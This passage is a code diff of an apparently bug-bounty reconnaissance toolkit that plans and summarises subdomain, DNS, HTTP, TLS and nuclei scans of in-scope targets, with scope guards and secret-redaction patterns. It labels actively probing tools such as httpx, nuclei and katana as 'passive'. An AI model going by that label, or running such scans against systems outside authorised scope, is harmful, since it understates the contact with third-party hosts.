technologies: 0, securityMetadata: 0, errors: 0 } + } + }; + + for (const obs of observations) { + if (obs.status === "success") { + if (summary.counts[obs.type + "s"] !== undefined) { + summary.counts[obs.type + "s"]++; + } else if (summary.counts[obs.type] !== undefined) { + summary.counts[obs.type]++; + } + + if (obs.phase && summary.byPhase[obs.phase]) { + if (summary.byPhase[obs.phase][obs.type + "s"] !== undefined) { + summary.byPhase[obs.phase][obs.type + "s"]++; + } else if (summary.byPhase[obs.phase][obs.type] !== undefined) { + summary.byPhase[obs.phase][obs.type]++; + } + } + } else if (obs.status === "error") { + summary.counts.errors++; + if (obs.phase && summary.byPhase[obs.phase]) { + summary.byPhase[obs.phase].errors++; + } + } + } + + return summary; +} + +export function getTechnologySummary(missionId) { + const technologies = getObservationsByType(missionId, "technology"); + const techCounts = new Map(); + + for (const tech of technologies) { + const name = tech.name || tech.value; + if (name) { + techCounts.set(name, (techCounts.get(name) || 0) + 1); + } + } + + return { + missionId, + timestamp: new Date().toISOString(), + uniqueTechnologies: techCounts.size, + totalObservations: technologies.length, + technologies: Array.from(techCounts.entries()) + .sort((a, b) => b[1] - a[1]) + .map(([name, count]) => ({ name, count })) + }; +} + +export function getHttpSummary(missionId) { + const httpServices = getObservationsByType(missionId, "http_service"); + + const statusCodes = new Map(); + const webServers = new Map(); + const titles = new Map(); + const withTech = 0; + let withTechCount = 0; + + for (const svc of httpServices) { + if (svc.statusCode) { + statusCodes.set(svc.statusCode, (statusCodes.get(svc.statusCode) || 0) + 1); + } + if (svc.webServer) { + webServers.set(svc.webServer, (webServers.get(svc.webServer) || 0) + 1); + } + if (svc.title) { + titles.set(svc.title, (titles.get(svc.title) || 0) + 1); + } + if (svc.technology && svc.technology.length > 0) { + withTechCount++; + } + } + + return { + missionId, + timestamp: new Date().toISOString(), + totalServices: httpServices.length, + statusCodes: Object.fromEntries(statusCodes), + webServers: Object.fromEntries(webServers), + uniqueTitles: titles.size, + servicesWithTech: withTechCount + }; +} + +export function getDnsSummary(missionId) { + const dnsRecords = getObservationsByType(missionId, "dns_record"); + + const recordTypes = new Map(); + const uniqueNames = new Set(); + + for (const dns of dnsRecords) { + recordTypes.set(dns.recordType, (recordTypes.get(dns.recordType) || 0) + 1); + uniqueNames.add(dns.name); + } + + return { + missionId, + timestamp: new Date().toISOString(), + totalRecords: dnsRecords.length, + uniqueNames: uniqueNames.size, + recordTypes: Object.fromEntries(recordTypes) + }; +} + +export function getSecurityMetadataSummary(missionId) { + const securityMeta = getObservationsByType(missionId, "security_metadata"); + + const severities = new Map(); + const templates = new Map(); + + for (const meta of securityMeta) { + if (meta.severity) { + severities.set(meta.severity, (severities.get(meta.severity) || 0) + 1); + } + if (meta.templateId) { + templates.set(meta.templateId, (templates.get(meta.templateId) || 0) + 1); + } + } + + return { + missionId, + timestamp: new Date().toISOString(), + totalFindings: securityMeta.length, + note: "Security metadata are informational observations from passive scanning templates. They are NOT vulnerability confirmations.", + severities: Object.fromEntries(severities), + templates: Object.fromEntries(templates) + }; +} + +export function getLearnedSummary(missionId) { + const learning = getMissionLearning(missionId); + + if (learning.length === 0) { + return { + missionId, + timestamp: new Date().toISOString(), + hasLearning: false, + message: "No learning recorded for this mission" + }; + } + + const latest = learning[learning.length - 1]; + + return { + missionId, + timestamp: new Date().toISOString(), + hasLearning: true, + successfulTechniques: latest.successfulTechniques || [], + toolFailures: latest.toolFailures || [], + duration: latest.duration, + discoveryMethods: latest.discoveryMethods || [], + falsePositivePatterns: latest.falsePositivePatterns || [], + targetCount: latest.targetCount || 0, + phaseResults: latest.phaseResults || {} + }; +} + +export function getGlobalLearningStats() { + return getLearningStats(); +} + +export function getRecommendedNextActions(missionId) { + const { observations } = normalizeObservations(missionId); + const learning = getMissionLearning(missionId); + + const actions = []; + + const subdomains = observations.filter(o => o.type === "subdomain" && o.status === "success"); + const httpServices = observations.filter(o => o.type === "http_service" && o.status === "success"); + const dnsRecords = observations.filter(o => o.type === "dns_record" && o.status === "success"); + const errors = observations.filter(o => o.status === "error"); + + // Only passive, advisory recommendations + + if (subdomains.length > 0 && httpServices.length === 0) { + actions.push({ + priority: "high", + action: "Probe discovered subdomains with HTTP/HTTPS", + rationale: `${subdomains.length} subdomains found but no HTTP probing yet. Consider running httpx against subdomain list.`, + tools: ["httpx"], + passive: true + }); + } + + if (dnsRecords.length > 0 && subdomains.length === 0) { + actions.push({ + priority: "medium", + action: "Enumerate subdomains for resolved domains", + rationale: `${dnsRecords.length} DNS records found but no subdomain enumeration yet. Consider running subfinder.`, + tools: ["subfinder"], + passive: true + }); + } + + if (httpServices.length > 0) { + const techObs = observations.filter(o => o.type === "technology" && o.status === "success"); + if (techObs.length === 0) { + actions.push({ + priority: "medium", + action: "Deep technology fingerprinting on live services", + rationale: `${httpServices.length} HTTP services probed but no technology details captured. Consider running whatweb/wappalyzer.`, + tools: ["whatweb", "wappalyzer"], + passive: true + }); + } + } + + if (errors.length > 0) { + const failedTools = [...new Set(errors.map(e => e.tool))]; + actions.push({ + priority: "low", + action: "Investigate and fix tool failures", + rationale: `${errors.length} errors from tools: ${failedTools.join(", ")}. Check installation and permissions.`, + tools: failedTools, + passive: true + }); + } + + // Learning-based recommendations + if (learning.length > 0) { + const latest = learning[learning.length - 1]; + + if (latest.falsePositivePatterns && latest.falsePositivePatterns.length > 0) { + actions.push({ + priority: "low", + action: "Review false-positive patterns in nuclei results", + rationale: latest.falsePositivePatterns.join("; "), + tools: ["nuclei"], + passive: true + }); + } + + const successfulTechs = latest.successfulTechniques || []; + if (successfulTechs.includes("subfinder") && !successfulTechs.includes("dnsx")) { + actions.push({ + priority: "medium", + action: "Run DNS resolution on discovered subdomains", + rationale: "Subfinder succeeded but DNS resolution (dnsx) not recorded. Validate subdomains exist.", + tools: ["dnsx"], + passive: true + }); + } + } + + // TLS certificate analysis + const tlsCerts = observations.filter(o => o.type === "tls_certificate" && o.status === "success"); + if (tlsCerts.length === 0 && httpServices.length > 0) { + actions.push({ + priority: "low", + action: "Collect TLS certificate details from HTTPS services", + rationale: `${httpServices.length} HTTPS services probed but no TLS certificate data. Consider running tlsx.`, + tools: ["tlsx"], + passive: true + }); + } + + return { + missionId, + timestamp: new Date().toISOString(), + actions: actions.sort((a, b) => { + const priority = { high: 3, medium: 2, low: 1 }; + return priority[b.priority] - priority[a.priority]; + }) + }; +} + +export function getMissionIntelligence(missionId) { + return { + missionId, + timestamp: new Date().toISOString(), + observationSummary: getMissionObservationSummary(missionId), + technologySummary: getTechnologySummary(missionId), + httpSummary: getHttpSummary(missionId), + dnsSummary: getDnsSummary(missionId), + securityMetadataSummary: getSecurityMetadataSummary(missionId), + learnedSummary: getLearnedSummary(missionId), + recommendedActions: getRecommendedNextActions(missionId), + globalLearning: getGlobalLearningStats() + }; +} + +export function formatIntelligenceReport(missionId) { + const intel = getMissionIntelligence(missionId); + + let report = `\n🧠 MISSION INTELLIGENCE — ${intel.missionId}\n`; + report += `════════════════════════════════════════\n`; + report += `Generated: ${intel.timestamp}\n\n`; + + // Observation Summary + const obs = intel.observationSummary; + report += `📊 OBSERVATION SUMMARY\n`; + report += ` Subdomains: ${obs.counts.subdomains}\n`; + report += ` DNS Records: ${obs.counts.dnsRecords}\n`; + report += ` HTTP Services: ${obs.counts.httpServices}\n`; + report += ` TLS Certificates: ${obs.counts.tlsCertificates}\n`; + report += ` Technologies: ${obs.counts.technologies}\n`; + report += ` Security Metadata: ${obs.counts.securityMetadata}\n`; + report += ` Errors: ${obs.counts.errors}\n\n`; + + // Technology Summary + const tech = intel.technologySummary; + if (tech.uniqueTechnologies > 0) { + report += `🔧 TECHNOLOGIES (${tech.uniqueTechnologies} unique)\n`; + for (const t of tech.technologies.slice(0, 10)) { + report += ` ${t.name}: ${t.count}\n`; + } + report += `\n`; + } + + // HTTP Summary + const http = intel.httpSummary; + if (http.totalServices > 0) { + report += `🌐 HTTP SERVICES (${http.totalServices})\n`; + report += ` Status Codes: ${Object.entries(http.statusCodes).map(([k,v]) => `${k}:${v}`).join(", ") || "none"}\n`; + report += ` Web Servers: ${Object.entries(http.webServers).map(([k,v]) => `${k}:${v}`).join(", ") || "none"}\n`; + report += ` With Tech: ${http.servicesWithTech}/${http.totalServices}\n\n`; + } + + // DNS Summary + const dns = intel.dnsSummary; + if (dns.totalRecords > 0) { + report += `🔍 DNS RECORDS (${dns.totalRecords} across ${dns.uniqueNames} names)\n`; + report += ` Types: ${Object.entries(dns.recordTypes).map(([k,v]) => `${k}:${v}`).join(", ")}\n\n`; + } + + // Security Metadata + const sec = intel.securityMetadataSummary; + if (sec.totalFindings > 0) { + report += `🛡️ SECURITY METADATA (${sec.totalFindings}) [INFORMATIONAL ONLY]\n`; + report += ` ${sec.note}\n`; + report += ` Severities: ${Object.entries(sec.severities).map(([k,v]) => `${k}:${v}`).join(", ")}\n\n`; + } + + // Learned Summary + const learned = intel.learnedSummary; + if (learned.hasLearning) { + report += `📚 LEARNED FROM THIS MISSION\n`; + report += ` Successful: ${learned.successfulTechniques.join(", ") || "none"}\n`; + report += ` Failed: ${learned.toolFailures.map(f => `${f.tool}(${f.target})`).join(", ") || "none"}\n`; + report += ` Methods: ${learned.discoveryMethods.join(", ") || "none"}\n`; + if (learned.falsePositivePatterns.length > 0) { + report += ` ⚠️ ${learned.falsePositivePatterns.join("; ")}\n`; + } + report += `\n`; + } + + // Recommended Actions + const actions = intel.recommendedActions.actions; + if (actions.length > 0) { + report += `🎯 RECOMMENDED NEXT PASSIVE ACTIONS\n`; + for (const a of actions) { + report += ` [${a.priority.toUpperCase()}] ${a.action}\n`; + report += ` Rationale: ${a.rationale}\n`; + report += ` Tools: ${a.tools.join(", ")} (passive)\n\n`; + } + } else { + report += `✅ No immediate passive actions recommended\n\n`; + } + + report += `════════════════════════════════════════\n`; + report += `Read-only intelligence. No targets authorized. No exploitation.\n`; + + return report; +} \ No newline at end of file diff --git a/lib/recon-learning.mjs b/lib/recon-learning.mjs new file mode 100644 index 0000000000000000000000000000000000000000..7705544c474b33f172b8f745eda2218e2d518c93 --- /dev/null +++ b/lib/recon-learning.mjs @@ -0,0 +1,294 @@ +import fs from "fs"; +import { resolve } from "path"; +import { homedir } from "os"; + +const LEARNING_DIR = resolve(homedir(), ".config", "phantom", "learning"); +const LEARNING_FILE = resolve(LEARNING_DIR, "recon.jsonl"); + +if (!fs.existsSync(LEARNING_DIR)) fs.mkdirSync(LEARNING_DIR, { recursive: true }); + +const SECRET_PATTERNS = [ + /api[_-]?key/i, /token/i, /password/i, /secret/i, /credential/i, + /authorization/i, /bearer/i, /cookie/i, /session/i, /jwt/i, + /private[_-]?key/i, /access[_-]?key/i, /aws[_-]?secret/i, + /x-api-key/i, /client[_-]?secret/i, /ssh[_-]?key/i +]; + +function containsSecret(text) { + if (!text) return false; + const str = String(text).toLowerCase(); + return SECRET_PATTERNS.some(p => p.test(str)); +} + +function sanitize(text) { + if (!text) return text; + let result = String(text); + + // Patterns for secret values (key=value, key: value, etc.) + const valuePatterns = [ + /(api[_-]?key\s*[=:]?\s*)[^\s,}]+/gi, + /(token\s*[=:]?\s*)[^\s,}]+/gi, + /(password\s*[=:]?\s*)[^\s,}]+/gi, + /(secret\s*[=:]?\s*)[^\s,}]+/gi, + /(credential\s*[=:]?\s*)[^\s,}]+/gi, + /(authorization\s*[=:]?\s*)[^\s,}]+/gi, + /(bearer\s+)[^\s,}]+/gi, + /(cookie\s*[=:]?\s*)[^\s,}]+/gi, + /(session\s*[=:]?\s*)[^\s,}]+/gi, + /(jwt\s*[=:]?\s*)[^\s,}]+/gi, + /(private[_-]?key\s*[=:]?\s*)[^\s,}]+/gi, + /(access[_-]?key\s*[=:]?\s*)[^\s,}]+/gi, + /(aws[_-]?secret\s*[=:]?\s*)[^\s,}]+/gi, + /(x-api-key\s*[=:]?\s*)[^\s,}]+/gi, + /(client[_-]?secret\s*[=:]?\s*)[^\s,}]+/gi, + /(ssh[_-]?key\s*[=:]?\s*)[^\s,}]+/gi + ]; + + for (const pattern of valuePatterns) { + result = result.replace(pattern, "$1[REDACTED]"); + } + + // Additional pass for "Bearer token123" format (token after space) + result = result.replace(/(bearer\s+)[^\s]+\s+[^\s,}]+/gi, "$1[REDACTED] [REDACTED]"); + result = result.replace(/(authorization:\s*bearer\s+)[^\s]+\s+[^\s,}]+/gi, "$1[REDACTED] [REDACTED]"); + + return result; +} + +function sanitizeObject(obj) { + if (!obj || typeof obj !== "object") return sanitize(obj); + const result = Array.isArray(obj) ? [] : {}; + for (const [key, value] of Object.entries(obj)) { + if (containsSecret(key)) { + result[key] = "[REDACTED]"; + } else if (typeof value === "string") { + result[key] = sanitize(value); + } else if (typeof value === "object" && value !== null) { + result[key] = sanitizeObject(value); + } else { + result[key] = value; + } + } + return result; +} + +export function recordLearning(entry) { + const timestamp = new Date().toISOString(); + const learningEntry = { + timestamp, + ...sanitizeObject(entry) + }; + + try { + fs.appendFileSync(LEARNING_FILE, JSON.stringify(learningEntry) + "\n", "utf-8"); + return { success: true }; + } catch (e) { + return { success: false, error: e.message }; + } +} + +export function recordReconLearning(missionId, data) { + const entry = { + type: "recon_learning", + missionId, + successfulTechniques: data.successfulTechniques || [], + toolFailures: data.toolFailures || [], + duration: data.duration || null, + discoveryMethods: data.discoveryMethods || [], + falsePositivePatterns: data.falsePositivePatterns || [], + targetCount: data.targetCount || 0, + phaseResults: data.phaseResults || {} + }; + return recordLearning(entry); +} + +export function recordToolFailure(tool, target, phase, error) { + return recordLearning({ + type: "tool_failure", + tool, + target: sanitize(target), + phase, + error: sanitize(String(error)), + timestamp: new Date().toISOString() + }); +} + +export function recordTechniqueSuccess(technique, missionId, targetCount) { + return recordLearning({ + type: "technique_success", + technique, + missionId, + targetCount, + timestamp: new Date().toISOString() + }); +} + +export function loadLearning(options = {}) { + const { type, missionId, since, limit } = options; + + if (!fs.existsSync(LEARNING_FILE)) return []; + + const content = fs.readFileSync(LEARNING_FILE, "utf-8"); + const lines = content.trim().split("\n").filter(Boolean); + + const results = []; + for (const line of lines) { + try { + const entry = JSON.parse(line); + + if (type && entry.type !== type) continue; + if (missionId && entry.missionId !== missionId) continue; + if (since && entry.timestamp < since) continue; + + results.push(entry); + } catch { + // Skip malformed entries - recoverable + continue; + } + } + + if (limit && results.length > limit) { + return results.slice(-limit); + } + return results; +} + +export function getLearningStats() { + const entries = loadLearning(); + + const stats = { + totalEntries: entries.length, + byType: {}, + successfulTechniques: new Map(), + toolFailures: new Map(), + totalDuration: 0, + missionsAnalyzed: new Set() + }; + + for (const entry of entries) { + stats.byType[entry.type] = (stats.byType[entry.type] || 0) + 1; + + if (entry.missionId) stats.missionsAnalyzed.add(entry.missionId); + + if (entry.successfulTechniques) { + for (const tech of entry.successfulTechniques) { + stats.successfulTechniques.set(tech, (stats.successfulTechniques.get(tech) || 0) + 1); + } + } + + if (entry.toolFailures) { + for (const tf of entry.toolFailures) { + const key = `${tf.tool}:${tf.target || "unknown"}`; + stats.toolFailures.set(key, (stats.toolFailures.get(key) || 0) + 1); + } + } + + if (entry.duration) { + stats.totalDuration += entry.duration; + } + } + + return { + totalEntries: stats.totalEntries, + byType: stats.byType, + successfulTechniques: Object.fromEntries(stats.successfulTechniques), + toolFailures: Object.fromEntries(stats.toolFailures), + averageDuration: stats.missionsAnalyzed.size > 0 ? stats.totalDuration / stats.missionsAnalyzed.size : 0, + missionsAnalyzed: stats.missionsAnalyzed.size + }; +} + +export function getSuccessfulTechniques() { + const entries = loadLearning({ type: "recon_learning" }); + const techCounts = new Map(); + + for (const entry of entries) { + if (entry.successfulTechniques) { + for (const tech of entry.successfulTechniques) { + techCounts.set(tech, (techCounts.get(tech) || 0) + 1); + } + } + } + + return Array.from(techCounts.entries()) + .sort((a, b) => b[1] - a[1]) + .map(([technique, count]) => ({ technique, count })); +} + +export function getToolFailureRates() { + const entries = loadLearning({ type: "recon_learning" }); + const failureCounts = new Map(); + const totalCounts = new Map(); + + for (const entry of entries) { + if (entry.toolFailures) { + for (const tf of entry.toolFailures) { + const key = tf.tool; + failureCounts.set(key, (failureCounts.get(key) || 0) + 1); + } + } + // Also count successes to calculate rate + if (entry.successfulTechniques) { + for (const tech of entry.successfulTechniques) { + totalCounts.set(tech, (totalCounts.get(tech) || 0) + 1); + } + } + } + + return Array.from(failureCounts.entries()) + .map(([tool, failures]) => ({ + tool, + failures, + totalRuns: (totalCounts.get(tool) || 0) + failures, + failureRate: (totalCounts.get(tool) || 0) + failures > 0 + ? failures / ((totalCounts.get(tool) || 0) + failures) + : 0 + })) + .sort((a, b) => b.failureRate - a.failureRate); +} + +export function getDiscoveryMethods() { + const entries = loadLearning({ type: "recon_learning" }); + const methodCounts = new Map(); + + for (const entry of entries) { + if (entry.discoveryMethods) { + for (const method of entry.discoveryMethods) { + methodCounts.set(method, (methodCounts.get(method) || 0) + 1); + } + } + } + + return Array.from(methodCounts.entries()) + .sort((a, b) => b[1] - a[1]) + .map(([method, count]) => ({ method, count })); +} + +export function getFalsePositivePatterns() { + const entries = loadLearning({ type: "recon_learning" }); + const patterns = []; + + for (const entry of entries) { + if (entry.falsePositivePatterns) { + patterns.push(...entry.falsePositivePatterns); + } + } + + return [...new Set(patterns)]; +} + +export function getMissionLearning(missionId) { + return loadLearning({ missionId, type: "recon_learning" }); +} + +export function clearLearning() { + if (fs.existsSync(LEARNING_FILE)) { + fs.unlinkSync(LEARNING_FILE); + } +} + +export function getLearningFilePath() { + return LEARNING_FILE; +} + +export { sanitize, containsSecret, SECRET_PATTERNS }; \ No newline at end of file diff --git a/lib/recon-planner.mjs b/lib/recon-planner.mjs new file mode 100644 index 0000000000000000000000000000000000000000..499e6795441bec2a25b7ef60501c8a47499a55f6 --- /dev/null +++ b/lib/recon-planner.mjs @@ -0,0 +1,397 @@ +import { normalizeObservations, getObservationsByType, getObservationsByPhase } from "./recon-analysis.mjs"; +import { getMissionLearning, getSuccessfulTechniques, getToolFailureRates } from "./recon-learning.mjs"; +import { isInScope, normalizeTarget, loadMission as loadMissionFromMission } from "./mission.mjs"; +import { getRecommendedNextActions } from "./recon-intelligence.mjs"; + +const PASSIVE_TOOLS = [ + "subfinder", "dnsx", "httpx", "nuclei", "whatweb", "wappalyzer", + "tlsx", "katana", "gau", "waybackurls", "crt", "amass", "findomain", + "assetfinder", "chaos", "dnsrecon", "massdns", "shuffledns" +]; + +function getCompletedActions(missionId) { + const { observations } = normalizeObservations(missionId); + const completed = new Set(); + + for (const obs of observations) { + // Observations may have 'tool' or 'source' field depending on parser + const tool = obs.tool || obs.source; + if (obs.status === "success" && tool) { + const key = `${tool}:${obs.target}:${obs.phase}`; + completed.add(key); + } + } + + return completed; +} + +function getInScopeTargets(missionId) { + const mission = loadMissionFromMission(missionId); + if (!mission || !mission.scope || !mission.scope.inScope) { + return []; + } + + return mission.scope.inScope.map(s => ({ + identifier: s.identifier, + normalized: s.normalized, + isWildcard: s.isWildcard, + assetType: s.assetType + })); +} + +function filterTargetsByScope(targets, mission) { + const allowed = []; + const denied = []; + + for (const target of targets) { + // Check if target is in scope + const inScopeCheck = isInScope(target, mission); + if (!inScopeCheck.allowed) { + denied.push({ target, scopeReason: inScopeCheck.reason }); + continue; + } + + // Check if target is in exclusions + const normalized = normalizeTarget(target); + let isExcluded = false; + if (mission.scope && mission.scope.exclusions) { + for (const exclusion of mission.scope.exclusions) { + const exclusionCheck = isInScope(target, { scope: { inScope: [exclusion] } }); + if (exclusionCheck.allowed) { + isExcluded = true; + break; + } + } + } + + if (isExcluded) { + denied.push({ target, scopeReason: "Excluded by scope policy" }); + } else { + allowed.push({ target, scopeReason: inScopeCheck.reason }); + } + } + + return { allowed, denied }; +} + +function getNextActionsForTarget(target, missionId, observations, learning) { + if (!target) { + return []; + } + const actions = []; + const normalized = normalizeTarget(target); + const completed = getCompletedActions(missionId); + + // Check if subfinder already done for this target + const subfinderDone = completed.has(`subfinder:${normalized}:1`); + const dnsxDone = completed.has(`dnsx:${normalized}:1`); + const httpxDone = completed.has(`httpx:${normalized}:2`); + const nucleiDone = completed.has(`nuclei:${normalized}:3`); + const tlsxDone = completed.has(`tlsx:${normalized}:2`); + const whatwebDone = completed.has(`whatweb:${normalized}:2`); + + const subdomains = getObservationsByType(missionId, "subdomain"); + const targetSubdomains = subdomains.filter(s => s.target === normalized); + + const httpServices = getObservationsByType(missionId, "http_service"); + const targetHttp = httpServices.filter(h => h.target === normalized); + + // Priority 1: Subdomain enumeration (if not done) + if (!subfinderDone) { + actions.push({ + id: `subfinder:${normalized}:1`, + target: normalized, + technique: "passive_subdomain_enum", + tool: "subfinder", + phase: 1, + reason: "No subdomain enumeration recorded for this target", + priority: "high", + evidence: { + subdomainsFound: targetSubdomains.length, + dnsRecords: getObservationsByType(missionId, "dns_record").filter(d => d.target === normalized).length + }, + safety: { scopeChecked: true, passive: true } + }); + } + + // Priority 2: DNS resolution on discovered subdomains + if (subfinderDone && !dnsxDone && targetSubdomains.length > 0) { + actions.push({ + id: `dnsx:${normalized}:1`, + target: normalized, + technique: "dns_resolution", + tool: "dnsx", + phase: 1, + reason: `${targetSubdomains.length} subdomains found but DNS resolution not recorded`, + priority: "high", + evidence: { subdomains: targetSubdomains.map(s => s.value) }, + safety: { scopeChecked: true, passive: true } + }); + } + + // Priority 3: HTTP probing on resolved domains + if (dnsxDone && !httpxDone) { + const dnsRecords = getObservationsByType(missionId, "dns_record"); + const targetDns = dnsRecords.filter(d => d.target === normalized); + if (targetDns.length > 0) { + actions.push({ + id: `httpx:${normalized}:2`, + target: normalized, + technique: "http_probing", + tool: "httpx", + phase: 2, + reason: `${targetDns.length} DNS records resolved but HTTP probing not recorded`, + priority: "high", + evidence: { dnsRecords: targetDns.map(d => `${d.name} ${d.recordType}`) }, + safety: { scopeChecked: true, passive: true } + }); + } + } + + // Priority 4: Technology fingerprinting on live HTTP services + if (httpxDone && !whatwebDone && targetHttp.length > 0) { + const techObs = getObservationsByType(missionId, "technology"); + const targetTech = techObs.filter(t => t.target === normalized); + if (targetTech.length === 0) { + actions.push({ + id: `whatweb:${normalized}:2`, + target: normalized, + technique: "technology_fingerprinting", + tool: "whatweb", + phase: 2, + reason: `${targetHttp.length} HTTP services probed but no technology fingerprinting recorded`, + priority: "medium", + evidence: { httpServices: targetHttp.map(h => h.url) }, + safety: { scopeChecked: true, passive: true } + }); + } + } + + // Priority 5: TLS certificate collection on HTTPS services + const tlsCerts = getObservationsByType(missionId, "tls_certificate"); + const targetTls = tlsCerts.filter(t => t.target === normalized); + if (httpxDone && !tlsxDone && targetHttp.length > 0 && targetTls.length === 0) { + const httpsServices = targetHttp.filter(h => h.url.startsWith("https://")); + if (httpsServices.length > 0) { + actions.push({ + id: `tlsx:${normalized}:2`, + target: normalized, + technique: "tls_certificate_collection", + tool: "tlsx", + phase: 2, + reason: `${httpsServices.length} HTTPS services probed but no TLS certificate data recorded`, + priority: "medium", + evidence: { httpsServices: httpsServices.map(h => h.url) }, + safety: { scopeChecked: true, passive: true } + }); + } + } + + // Priority 6: Nuclei scanning (passive templates only) on HTTP services + if (httpxDone && !nucleiDone && targetHttp.length > 0) { + actions.push({ + id: `nuclei:${normalized}:3`, + target: normalized, + technique: "passive_security_metadata_collection", + tool: "nuclei", + phase: 3, + reason: `${targetHttp.length} HTTP services available for passive template matching (informational only)`, + priority: "low", + evidence: { httpServices: targetHttp.map(h => h.url) }, + safety: { scopeChecked: true, passive: true, informationalOnly: true } + }); + } + + // Priority 7: Deep crawling on web applications + if (httpxDone && targetHttp.length > 0) { + const webServices = targetHttp.filter(h => + h.url.includes(":80") || h.url.includes(":443") || + h.url.includes(":8080") || h.url.includes(":8443") + ); + if (webServices.length > 0) { + const katanaDone = completed.has(`katana:${normalized}:3`); + if (!katanaDone) { + actions.push({ + id: `katana:${normalized}:3`, + target: normalized, + technique: "passive_endpoint_discovery", + tool: "katana", + phase: 3, + reason: `${webServices.length} web services available for passive endpoint discovery`, + priority: "low", + evidence: { webServices: webServices.map(h => h.url) }, + safety: { scopeChecked: true, passive: true } + }); + } + } + } + + return actions; +} + +export function getMissionPlan(missionId) { + const mission = loadMissionFromMission(missionId); + if (!mission) { + return { + missionId, + timestamp: new Date().toISOString(), + actions: [], + error: "Mission not found", + safety: { scopeValid: false } + }; + } + + const inScopeTargets = getInScopeTargets(missionId); + if (inScopeTargets.length === 0) { + return { + missionId, + timestamp: new Date().toISOString(), + actions: [], + error: "No in-scope targets found. Mission scope is empty.", + safety: { scopeValid: false, reason: "Empty scope" } + }; + } + + // Filter to only domain-like targets (containing dot or wildcard) + // Exclude URLs (starting with http:// or https://) + const domainTargets = inScopeTargets.filter(t => { + const id = t.identifier; + if (id.startsWith('http://') || id.startsWith('https://')) return false; + return id.includes('.') || id.startsWith('*.'); + }); + + if (domainTargets.length === 0) { + return { + missionId, + timestamp: new Date().toISOString(), + actions: [], + error: "No domain-like targets in scope. Only non-domain entries (e.g., 'Pages', 'CDNJS') found.", + safety: { scopeValid: false, reason: "No actionable domains in scope" } + }; + } + + const { observations } = normalizeObservations(missionId); + const learning = getMissionLearning(missionId); + + // Filter targets by scope guard - use original identifiers for scope checking + const { allowed, denied } = filterTargetsByScope( + domainTargets.map(t => t.identifier), + mission + ); + + if (allowed.length === 0) { + return { + missionId, + timestamp: new Date().toISOString(), + actions: [], + error: "All targets denied by scope guard", + safety: { + scopeValid: false, + deniedTargets: denied.map(d => ({ target: d.target, reason: d.scopeReason })), + reason: "Stage 1 scope guard rejected all targets" + } + }; + } + + // Get successful techniques and tool failure rates from learning + const successfulTechs = getSuccessfulTechniques(); + const toolFailures = getToolFailureRates(); + + // Build ranked action plan + const allActions = []; + + for (const allowedTarget of allowed) { + // Find the original domain target object to get full properties + const domainTarget = domainTargets.find(t => t.identifier === allowedTarget.target); + if (!domainTarget) continue; + + const targetActions = getNextActionsForTarget(allowedTarget.target, missionId, observations, learning); + + // Add scope context and learning-based priority adjustment + for (const action of targetActions) { + action.target = domainTarget.normalized; + action.targetOriginal = domainTarget.identifier; + action.targetIsWildcard = domainTarget.isWildcard; + action.assetType = domainTarget.assetType; + action.scopeReason = allowedTarget.scopeReason; + + // Adjust priority based on learning + const toolFailure = toolFailures.find(f => f.tool === action.tool); + if (toolFailure && toolFailure.failureRate > 0.5) { + action.priority = "low"; + action.reason += ` (Note: ${action.tool} has high failure rate: ${Math.round(toolFailure.failureRate * 100)}%)`; + } + + const techSuccess = successfulTechs.find(t => t.technique === action.tool); + if (techSuccess && techSuccess.count > 2) { + if (action.priority !== "high") action.priority = "high"; + action.reason += ` (${action.tool} has ${techSuccess.count} prior successes)`; + } + + // Add learning-based technique suggestions + if (learning.length > 0) { + const latest = learning[learning.length - 1]; + if (latest.discoveryMethods?.includes("passive_subdomain_enum") && action.technique === "passive_subdomain_enum") { + action.reason += " (Learning: passive subdomain enumeration previously successful)"; + } + } + } + + allActions.push(...targetActions); + } + + // Sort by priority (high > medium > low) then by phase (1 > 2 > 3) + const priorityOrder = { high: 3, medium: 2, low: 1 }; + allActions.sort((a, b) => { + const pDiff = priorityOrder[b.priority] - priorityOrder[a.priority]; + if (pDiff !== 0) return pDiff; + return a.phase - b.phase; + }); + + // Remove duplicates (same tool+target+phase) + const seen = new Set(); + const uniqueActions = allActions.filter(a => { + const key = `${a.tool}:${a.target}:${a.phase}`; + if (seen.has(key)) return false; + seen.add(key); + return true; + }); + + return { + missionId, + timestamp: new Date().toISOString(), + actions: uniqueActions, + deniedTargets: denied.map(d => ({ target: d.target, reason: d.scopeReason })), + scopeValid: true, + safety: { + scopeGuard: "Stage 1 scope guard applied", + allActionsPassive: true, + noExploitation: true, + informationalOnly: true + } + }; +} + +export function getNextAction(missionId) { + const plan = getMissionPlan(missionId); + if (!plan.scopeValid || plan.actions.length === 0) { + return { + missionId, + action: null, + reason: plan.error || "No valid actions available", + safety: plan.safety + }; + } + + return { + missionId, + action: plan.actions[0], + alternatives: plan.actions.slice(1, 3), + reason: `Selected highest-priority passive action`, + safety: plan.safety + }; +} + +export function getAllPlannedActions(missionId) { + return getMissionPlan(missionId); +} \ No newline at end of file diff --git a/lib/recon.mjs b/lib/recon.mjs new file mode 100644 index 0000000000000000000000000000000000000000..70f643d51a8b6a4a569aeef82ce7eafe8c357ca6 --- /dev/null +++ b/lib/recon.mjs @@ -0,0 +1,425 @@ +import fs from "fs"; +import { resolve } from "path"; +import { homedir } from "os"; +import { execFileSync } from "child_process"; +import { BASE_DIR, REPORTS_DIR, MISSIONS_DIR } from "./config.mjs"; +import { isInScope, createMission, saveMission, loadMission, listMissions, updateMissionStatus, addMissionActivity, generateReconPlan, fetchProgramAndScope } from "./mission.mjs"; + +const EXEC_STATES = { + PLANNING: "planning", + READY: "ready", + RECONNAISSANCE: "reconnaissance", + PAUSED: "paused", + FAILED: "failed", + COMPLETED: "completed", + CANCELLED: "cancelled" +}; + +const VALID_TRANSITIONS = { + [EXEC_STATES.PLANNING]: [EXEC_STATES.READY], + [EXEC_STATES.READY]: [EXEC_STATES.RECONNAISSANCE], + [EXEC_STATES.RECONNAISSANCE]: [EXEC_STATES.PAUSED, EXEC_STATES.FAILED, EXEC_STATES.COMPLETED, EXEC_STATES.CANCELLED], + [EXEC_STATES.PAUSED]: [EXEC_STATES.RECONNAISSANCE, EXEC_STATES.CANCELLED], + [EXEC_STATES.FAILED]: [EXEC_STATES.RECONNAISSANCE, EXEC_STATES.CANCELLED], + [EXEC_STATES.COMPLETED]: [], + [EXEC_STATES.CANCELLED]: [] +}; + +function getMissionDir(missionId) { + return resolve(MISSIONS_DIR, missionId); +} + +function getExecutionStateFile(missionId) { + return resolve(getMissionDir(missionId), "state.json"); +} + +function getExecutionState(missionId) { + const f = 